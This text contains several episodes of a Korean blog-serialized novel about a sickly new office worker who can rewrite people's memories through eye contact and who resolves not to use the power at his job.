발소리가 가까워질수록 내 심장 박동 소리도 커졌다. 들키면 끝이다. 수습 기간도 못 채우고 잘릴지도 모른다. 아니, 그보다 박 팀장의 그 경멸 어린 눈빛을 다시 받는 게 죽기보다 싫었다.

고개를 돌려 박 팀장을 바라봤다. 그와 눈이 마주쳤다.

순간, 내 안의 악마가 속삭였다.

‘눈을 써.’

지금 능력을 쓰면 모든 걸 덮을 수 있다. 박 팀장에게 ‘데이터는 완벽하게 정리되어 있었다’는 기억을 심으면 된다. 아니면, ‘파일이 깨진 건 서버 오류 때문이었다’고 믿게 만들 수도 있다.

내 눈동자 깊은 곳에서 익숙한 열기가 피어올랐다. 박 팀장이 내 책상 앞에 멈춰 섰다.

“왜 그렇게 쳐다봅니까? 뭐 문제 있어요?”

박 팀장이 의아한 듯 물었다. 나는 마른침을 삼켰다. 1초만 더 응시하면 된다. 그러면 이 위기는 없던 일이 된다.

하지만.

‘회사에서는 절대 쓰지 않겠다고 했잖아.’

면접장을 나오며 했던 다짐이 발목을 잡았다. 나는 입술을 깨물며 고개를 푹 숙였다. 시선을 끊어냈다.

“팀장님… 죄송합니다. 제가 데이터를… 섞어버렸습니다.”

정적이 흘렀다. 박 팀장의 한숨 소리가 들릴 것만 같아 눈을 질끈 감았다.

“비켜봐요.”

그때, 내 옆자리에서 누군가 불쑥 나타나 키보드를 낚아챘다. 옆자리에 앉아 있던 대리, ‘윤서아’였다. 그녀는 무심한 표정으로 내 모니터를 들여다보더니 타닥타닥 키보드를 두드렸다.

“서아 대리, 무슨 일이야?”

박 팀장이 묻자, 윤 대리가 덤덤하게 대답했다.

“신입이 정렬 실수를 좀 했네요. 근데 이거 공용 서버에 자동 백업되는 폴더잖아요. 10분 전 버전으로 롤백하면 돼요.”

그녀의 손놀림 몇 번에 화면이 깜빡이더니, 뒤죽박죽이었던 데이터가 거짓말처럼 원상 복구되었다.

“자, 됐죠? 다음부터는 로컬에 사본 만들고 작업해요.”

윤 대리는 아무 일도 아니라는 듯 자기 자리로 돌아갔다. 나는 멍하니 모니터를 바라봤다.

박 팀장은 혀를 쯧 찼지만, 화를 내지는 않았다.

“모르면 물어보고 해요. 사고 치고 멍하니 있지 말고. 윤 대리, 신입 좀 잘 봐줘.”

“네, 알겠습니다.”

박 팀장이 돌아가고, 나는 풀린 다리를 주체하지 못해 의자에 깊숙이 파묻혔다. 안도감과 함께 부끄러움이 밀려왔다.

능력을 쓰지 않아도 해결될 일이었다. 하마터면 별것 아닌 실수 때문에 팀장의 기억을 조작할 뻔했다.

“감사합니다, 대리님. 정말… 감사합니다.”

내가 기어들어 가는 목소리로 말하자, 윤 대리가 피식 웃으며 캔커피 하나를 내 책상에 툭 올려놓았다.

“처음엔 다 그래요. 쫄지 마요.”

차가운 캔커피의 감촉이 손끝에 닿았다.

혼자서 모든 걸 통제하고 조작해야만 안전하다고 믿었던 내 세계에, ‘도움’이라는 낯선 단어가 들어온 순간이었다.

나는 커피를 쥔 손에 힘을 주었다.

능력보다, 누군가의 손길이 더 따뜻할 수 있다는 걸.
나는 오늘 처음 배웠다.

 

 

 

다음 이야기 : https://thepin.tistory.com/206

 

소설001: 내 눈을 보면 안 돼 - 제4화. 점심시간의 갈등

제4화. 점심시간의 갈등직장인에게 점심시간은 유일한 해방구라지만, 신입 사원인 내게는 업무의 연장선일 뿐이었다.“한결 씨는 메뉴 뭐 먹을래요?”“아, 저는 아무거나 괜찮습니다.”회사

thepin.tistory.com

 

728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/202

제2화. 면접의 시선

스물여섯. 대학 졸업장은 땄지만, 내 몸은 여전히 열여덟 그 시절에서 크게 자라지 못한 것 같았다.

그랬다. 내 능력은 사람의 기억을 속일 수는 있어도, 시스템의 붕괴를 막지는 못했다.
대학 졸업 후 인턴으로 일했던 스타트업 '데이터웨이브'가 그랬다. 서버가 터져나가고, 대표가 울부짖고, 모두가 패닉에 빠졌을 때, 나는 아무것도 할 수 없었다. 사람들의 공포를 잠시 지워줄 수는 있었지만, 500 에러로 도배된 모니터를 되돌릴 수는 없었다.

결국 회사는 망했다. 텅 빈 사무실에서 짐을 싸서 나오던 날, 나는 뼈저리게 깨달았다.
세상을 지탱하는 건 마법 같은 초능력이 아니라, 견고한 코드 한 줄이라는 것을.

그 트라우마가 나를 이 자리로 이끌었다.
다시는 무력하게 무너지고 싶지 않다는 절박함.

정장은 헐거웠고, 넥타이는 목을 조르는 올가미처럼 느껴졌다. 거울 속에 비친 나는 창백했다. 누가 봐도 ‘신입 사원의 패기’와는 거리가 먼, 금방이라도 쓰러질 것 같은 환자처럼 보였다.

“후우….”

나는 깊은 숨을 내쉬며 넥솔브(Nexolve) 본사 로비에 들어섰다. 국내에서 손꼽히는 IT 솔루션 기업. 데이터 분석과 QA(품질 보증) 직무에 지원한 나는 서류 전형을 간신히 통과하고 최종 면접만을 남겨두고 있었다.

대기실의 공기는 무거웠다. 옆자리에 앉은 지원자들은 중얼중얼 예상 답변을 외우거나, 자신감 넘치는 표정으로 다리를 떨고 있었다. 그들 틈에서 나는 마른 손바닥에 배어 나오는 식은땀을 바지에 닦아냈다.

“이한결 씨, 들어오세요.”

호명 소리에 몸을 일으켰다. 심장이 불규칙하게 뛰었다. 긴장 때문인지, 선천적인 부정맥 때문인지 알 수 없었다.


면접관은 총 세 명이었다. 가운데 앉은 중년의 남자는 인사팀장인 듯했고, 양옆에는 실무진으로 보이는 사람들이 앉아 있었다. 그중 오른쪽 끝에 앉은, 날카로운 인상의 남자가 내 이력서를 훑어보며 미간을 찌푸렸다.

“이한결 씨.”

그 남자가 입을 열었다. 명패에는 ‘개발팀장 박성우’라고 적혀 있었다.

“네, 면접관님.”

“포트폴리오는 나쁘지 않네요. 데이터 분석 자격증도 있고, 꼼꼼한 성격이라는 것도 알겠고. 그런데….”

그는 고개를 들어 나를 훑어봤다. 마치 불량품을 검수하는 듯한 노골적인 시선이었다.

“체력이 버텨주겠어요? 우리 회사는 야근도 많고, 프로젝트 마감 때는 며칠씩 밤새우는 일도 허다합니다. 이력서 보니까 병역도 면제던데. 솔직히 말해서, 들어와서 짐만 되는 거 아닙니까?”

예상했던 질문이었다. 하지만 막상 면전에서 ‘짐’이라는 단어를 들으니 가슴 한구석이 욱신거렸다. 나는 준비했던 답변을 꺼냈다.

“체력적인 부분은 꾸준한 관리로 보완하고 있습니다. 그리고 저는 체력보다는 효율적인 시간 관리와 집중력으로 승부하는 편입니다. 주어진 시간 내에….”

“말은 번지르르하게 잘하시네.”

박 팀장이 내 말을 뚝 끊었다. 그는 비웃듯 입꼬리를 올렸다.

“효율? 집중력? 다 체력이 있어야 나오는 겁니다. 딱 보니까 멘탈도 약해 보이는데. 서버 터지고 고객사에서 전화 빗발치면 그 자리에서 기절하는 거 아니에요?”

옆에 있던 인사팀장이 난처한 듯 헛기침을 했지만, 박 팀장은 멈추지 않았다.

“솔직히 말씀드릴게요. 저는 이한결 씨 같은 스타일 안 좋아합니다. 팀 분위기 처지게 만들 관상이야. 아픈 사람 배려해주느라 다른 팀원들이 고생하는 꼴, 제가 제일 싫어하거든요.”

나는 주먹을 꽉 쥐었다. 손톱이 살을 파고들었다.

‘참아야 해. 여기서 화내면 끝이야.’

내 침묵을 굴복으로 해석했는지, 그는 나를 위아래로 훑어보더니 결정타를 날리려는 듯 마지막 질문을 던졌다.

“좋습니다. 그럼 기술 질문 하나 하죠. 만약 대규모 프로모션 중에 메인 서버가 터졌습니다. 개발팀은 패닉에 빠졌고, 원인 파악도 안 돼요. QA 담당자인 당신은 뭘 할 겁니까? 그냥 버그 리포트 쓰고 구경만 할 건가요?”

순간, 머리를 망치로 맞은 듯 멍해졌다.

‘서버가 터졌다.’

그 단어가 내 귓속에서 뇌관처럼 터졌다. 눈앞에 3년 전, ‘데이터웨이브’의 마지막 날이 파노라마처럼 스쳐 지나갔다. 붉은색 에러 메시지로 도배된 모니터. 대표의 울음 섞인 고함. 그리고 구석에서 아무것도 하지 못한 채, 회사가 망하는 걸 지켜봐야만 했던 무력한 나.

그때의 공포가 심장을 다시 옥죄어왔다. 나는 나도 모르게 상체를 앞으로 숙이며, 거의 외치듯이 대답하기 시작했다.

“구경하지 않습니다. 아니, 절대로 구경만 해서는 안 됩니다.”

내 목소리가 떨리고 있었다. 하지만 그건 두려움 때문이 아니었다. 다시는 그 끔찍한 상황을 반복하지 않겠다는 절박함이었다.

“QA는 버그를 찾는 사람이기도 하지만, 가장 먼저 시스템의 이상 징후를 감지하는 ‘레이더’가 되어야 합니다. 가장 먼저 Nginx 접근 로그부터 확인할 겁니다. tailawk 명령어로 실시간으로 어떤 요청에서 500 에러가 터지는지 패턴을 분석하고, netstat으로 비정상적인 연결이 폭주하는 포트가 있는지 확인할 겁니다. 개발팀이 코드의 논리를 볼 때, 저는 데이터의 흐름과 시스템의 비명을 들을 겁니다. 원인 파악이 늦어지면, 일단 문제가 되는 API만이라도 임시로 차단해서 전체 시스템이 죽는 최악의 상황은 막아야 한다고 소리칠 겁니다. 회사가 망하는 것보다는, 욕을 먹더라도 핵심 기능이라도 살리는 게 먼저니까요!”

숨도 쉬지 않고 말을 쏟아냈다. 면접이라는 사실도 잊었다. 내 눈앞에는 박 팀장이 아니라, 3년 전의 그 무력했던 내가 앉아 있었다.

정적이 흘렀다.

가운데 앉아 있던 인사팀장과 다른 면접관이 놀란 눈으로 나를 보고 있었다. 내 병약한 겉모습과, 방금 내가 쏟아낸 절박한 외침 사이의 간극에 압도당한 표정이었다.

하지만 박 팀장은 잠시 놀란 표정을 짓더니, 이내 다시 비웃음을 머금었다.

“말은 번지르르하네. 실전에서도 그래야 할 텐데.”

그 한마디가 내 마지막 이성의 끈을 끊어버렸다. 실력으로, 경험에서 우러나온 진심으로 증명했는데도, 결국 돌아오는 건 ‘어차피 너는 안 될 거야’라는 낙인이었다.

고개를 들었다. 박 팀장과 눈이 마주쳤다.

그 순간, 익숙한 감각이 뇌리를 스쳤다. 8년 전, 교실 뒤편에서 느꼈던 그 차갑고 묵직한 것이 꿈틀거렸다.

‘하지 마. 쓰면 안 돼.’

이성이 경고했다. 하지만 본능은 이미 시신경을 개방하고 있었다. 나는 박 팀장의 눈동자 깊은 곳을 응시했다.

‘당신은 지금 무례했어. 그리고 내 눈빛을 보고 깨닫는 거야. 내가 약해 빠진 환자가 아니라, 누구보다 침착하고 강단 있는 사람이라는 걸.’

시간이 엿가락처럼 늘어지는 기분이었다. 나의 의지가 허공을 가르고 그의 망막에 꽂혔다. 박 팀장의 동공이 미세하게 흔들렸다. 비웃음이 걸려 있던 입꼬리가 서서히 내려갔다.

“…어?”

박 팀장이 멍한 표정으로 눈을 깜빡였다. 그는 마치 방금 자다 깬 사람처럼 주위를 두리번거렸다. 그러다 다시 나를 보았다. 이번에는 경멸이 아닌, 당혹감과 알 수 없는 경외심이 담겨 있었다.

“제가… 방금 무슨 말을….”

그는 마른세수를 하며 헛기침을 했다.

“아, 흠. 미안합니다. 제가 말이 좀 심했군요. 이한결 씨 눈빛이… 생각보다 살아있네요. 네, 아주… 강렬합니다.”

분위기가 순식간에 반전되었다. 옆에 있던 다른 면접관들도 놀란 눈치였지만, 박 팀장의 태도 변화에 안도하는 분위기였다.

“질문 계속하겠습니다. 만약 입사하게 된다면….”

면접은 그 뒤로 물 흐르듯 진행되었다. 박 팀장은 더 이상 나를 공격하지 않았다. 오히려 내 답변에 고개를 끄덕이며 경청했다.


면접장을 빠져나오는 내 다리는 후들거리고 있었다. 긴장이 풀려서가 아니었다. 능력을 사용한 대가였다. 머리가 지끈거리고 시야가 살짝 흐릿했다.

일주일 뒤, 합격 문자가 도착했다.

[넥솔브] 최종 합격을 축하드립니다.

화면을 바라보는 내 마음은 복잡했다. 기쁨보다는 찝찝함이 앞섰다.

내가 실력으로 붙은 걸까? 아니면 그 순간 박 팀장의 기억을 조작했기 때문에 붙은 걸까?

만약 능력을 쓰지 않았다면 나는 떨어졌을까.

나는 휴대폰 화면을 끄고 검은 화면에 비친 내 눈을 바라봤다.

“이번이 마지막이야.”

나는 나지막이 중얼거렸다.

회사에서는 절대, 무슨 일이 있어도 이 눈을 쓰지 않겠다. 나는 괴물이 아니라, 유능한 사원 ‘이한결’로 인정받고 싶으니까.

그것이 사회에 첫발을 내디디며 내가 한 첫 번째 다짐이었다.



다음 이야기 : https://thepin.tistory.com/204

 

소설001: 내 눈을 보면 안 돼 - 제3화. 첫 출근의 불안

제3화. 첫 출근의 불안넥솔브의 아침은 전쟁터였다.엘리베이터 앞에 길게 늘어선 줄, 한 손에 커피를 들고 바쁘게 사원증을 찍는 사람들. 그 활기차고 치열한 풍경 속에 나, 이한결이 서 있었다.

thepin.tistory.com

 

728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/201

제1화. 눈의 기억

쿵. 쿵. 쿵.
심장이 멋대로 날뛰었다. 폐가 찢어질 것 같았다.

운동장 트랙을 반 바퀴도 채 돌지 못했는데, 목구멍에서 비릿한 쇠 맛이 났다. 아이들의 함성 소리가 아득하게 멀어지고, 내 거친 숨소리만이 고막을 때렸다. 가슴을 쥐어짜는 통증. 태어날 때부터 내 것이었던 이 지긋지긋한 고통.

“한결아, 무리하지 말고 빠져.”

체육 선생님의 목소리가 구원처럼 들렸다. 나는 무릎을 짚고 고개를 끄덕였다. 태어날 때부터 그랬다. 남들보다 조금 작게 태어난 심장, 약한 호흡기. 내 몸은 세상의 속도를 따라가기에 턱없이 부족했다.

하지만 아이러니하게도, 신은 내게 약한 몸을 준 대신 감당하기 힘든 ‘눈’을 주었다. 그리고 그 눈은, 나의 고통을 먹고 자라났다.

그 사실을 깨달은 건 고등학교 2학년, 유난히 덥고 습했던 여름날이었다.


교실 뒤편, 청소 도구함 옆은 사각지대였다. 점심시간의 소란스러움이 닿지 않는 그곳에서 나는 벽에 등을 기댄 채 서 있었다. 내 앞에는 반에서 가장 덩치가 큰 태수가 삐딱하게 서 있었다.

“야, 이한결. 내 말이 안 들리냐?”

태수가 내 멱살을 거칠게 잡아챘다. 힘없는 몸이 종이인형처럼 벽에 처박혔다. 컥, 하고 숨이 막혔다. 녀석은 내가 체육 시간에 열외 되는 것을 핑계 삼아, 며칠 전부터 끈질기게 시비를 걸어오고 있었다. 이유는 단순했다. 그냥, 내가 마음에 안 든다는 것.

“대답을 해, 벙어리 새끼야. 아까 체육 시간에 쌤한테 뭐라고 꼰질렀냐고.”

“아무 말도 안 했어.”

“거짓말하지 마. 네가 나 쳐다보면서 쑥덕거리는 거 다 봤는데.”

태수의 얼굴이 붉게 달아올라 있었다. 억지였다. 나는 그저 숨을 고르고 있었을 뿐이다. 하지만 태수 같은 부류에게 진실은 중요하지 않다. 그저 화풀이할 대상이 필요할 뿐.

태수가 주먹을 들어 올렸다. 곧 뺨이나 머리통으로 날아올 궤적이었다. 맞으면 아플 것이다. 어쩌면 코피가 터지고, 며칠은 욱신거리겠지. 그 고통이 상상되자 온몸의 피가 차갑게 식었다.

그 순간, 육체적 고통에 대한 공포가 내 안의 무언가를 건드렸다. 나는 본능적으로 몸을 움츠리는 대신, 고개를 들어 녀석을 똑바로 쳐다봤다.

그 순간이었다.

내 눈동자 깊은 곳에서 억눌려 있던 무언가가 꿈틀거렸다. 그것은 시신경을 타고 흘러나와, 허공을 가르고 태수의 눈동자 속으로 파고들었다. 시간이 멈춘 듯한 정적. 나는 나도 모르게 속으로 강렬하게 외쳤다.

‘내가 욕을 한 게 아니야. 욕을 한 건 너야. 너는 지금 나한테 끔찍한 말을 쏟아붓고 있어.’

찰나의 순간, 태수의 눈동자가 초점을 잃고 흐릿해졌다. 마치 카메라 렌즈가 줌을 다시 맞추는 것처럼, 그의 동공이 기이하게 수축했다가 확장되었다.

“…어?”

태수가 멈칫하며 뒷걸음질 쳤다. 들어 올렸던 손이 허공에서 갈 곳을 잃고 떨렸다.

“너… 너 방금 뭐라고 했어?”

태수의 목소리가 떨리고 있었다. 나는 아무 말도 하지 않았다. 입도 뻥긋하지 않았다. 하지만 태수의 얼굴은 공포와 당혹감으로 일그러졌다.

“이 미친 새끼가… 선생님한테 다 말할 거야!”

태수는 비명을 지르듯 소리치며 교실 밖으로 뛰쳐나갔다. 복도에 있던 아이들이 놀란 눈으로 그를 쳐다봤고, 이어서 나를 바라봤다.

그리고 그 순간, 심장이 멎는 듯한 통증이 나를 덮쳤다.

“크윽…!”

나는 가슴을 부여잡고 주저앉았다. 시야가 암전되는 것처럼 흐릿해졌다. 능력을 사용한 대가였다. 내 생명력을 갉아먹는 듯한 끔찍한 반동. 나는 벽에 기댄 채, 가쁜 숨을 몰아쉬며 간신히 정신을 붙잡았다.

통쾌함은 없었다. 오직 살아남았다는 안도감과, 내 몸을 갉아먹은 능력에 대한 공포만이 남았다.


다음 날, 교무실은 한바탕 소동이 벌어졌다.

“선생님! 진짜라니까요? 한결이 저 녀석이 저한테 패드립을 쳤다니까요? 눈을 부라리면서, 죽여버리겠다고…!”

태수는 억울해서 미치겠다는 표정으로 담임 선생님에게 호소하고 있었다. 하지만 선생님의 표정은 싸늘했다.

“태수야. 그 자리에 있던 반 아이들한테 다 물어봤어.”

“애들이 못 들은 거예요! 저 새끼가 작게 속삭였다고요!”

“민지랑 준호가 바로 옆에 있었어. 한결이는 숨이 차서 말도 제대로 못 하고 있었고, 오히려 네가 한결이 멱살을 잡으려고 했다던데?”

“아니, 그게 아니라…!”

태수는 환장하겠다는 듯 머리를 쥐어뜯었다. 그의 기억 속에서 나는 분명 입에 담지 못할 욕설을 퍼붓는 악마였을 것이다. 그 기억은 너무나 선명해서, 그는 현실을 의심조차 하지 못하고 있었다.

하지만 현실의 나는 침묵했다.

나는 고개를 숙인 채, 책상 아래로 떨리는 손을 감췄다. 두려웠다. 태수가 미쳐서 날뛰는 게 두려운 게 아니었다.

내 머릿속의 상상이 타인의 머릿속에서 ‘사실’이 되어버렸다는 것. 그리고 그 대가로 내 몸이 부서져 내릴 수도 있다는 것.
그 두 가지 사실이 나를 미치도록 두렵게 만들었다.

‘내 눈을 본 사람은… 내가 원하는 기억을 갖게 된다.’

그날 이후, 나는 알게 되었다. 내 눈은 카메라가 아니었다. 내 눈은 편집기였다. 현실이라는 원본 필름을 잘라내고, 내가 원하는 장면을 끼워 넣을 수 있는 위험한 도구.

교무실을 나오며 태수와 마주쳤다. 녀석은 나를 보자마자 흠칫 놀라며 시선을 피했다. 덩치는 산만 한 녀석이, 약골인 나를 무서워하고 있었다. 아니, 정확히는 내 ‘눈’을 피하고 있었다.

나는 복도 창문에 비친 내 얼굴을 바라봤다. 창백한 피부, 마른 체구. 그리고 그 속에 박힌 짙은 갈색 눈동자. 겉보기엔 아무런 특징도 없는 평범한 눈이었다.

하지만 나는 알고 있다. 이 눈을 마주치는 순간, 누구든 내 세계의 인질이 된다는 것을.

이것은 나를 지키는 방패가 될까, 아니면 나를 고립시키는 저주가 될까.
열여덟의 나는 그 답을 알지 못한 채, 조용히 눈을 감았다.

세상은 그대로였지만, 나의 세상은 그날 완전히 바뀌어 버렸다.

 

 

다음 이야기 : https://thepin.tistory.com/203

 

소설001: 내 눈을 보면 안 돼 - 제2화. 면접의 시선

제2화. 면접의 시선스물여섯. 대학 졸업장은 땄지만, 내 몸은 여전히 열여덟 그 시절에서 크게 자라지 못한 것 같았다.그랬다. 내 능력은 사람의 기억을 속일 수는 있어도, 시스템의 붕괴를 막지

thepin.tistory.com

 

728x90
반응형

+ Recent posts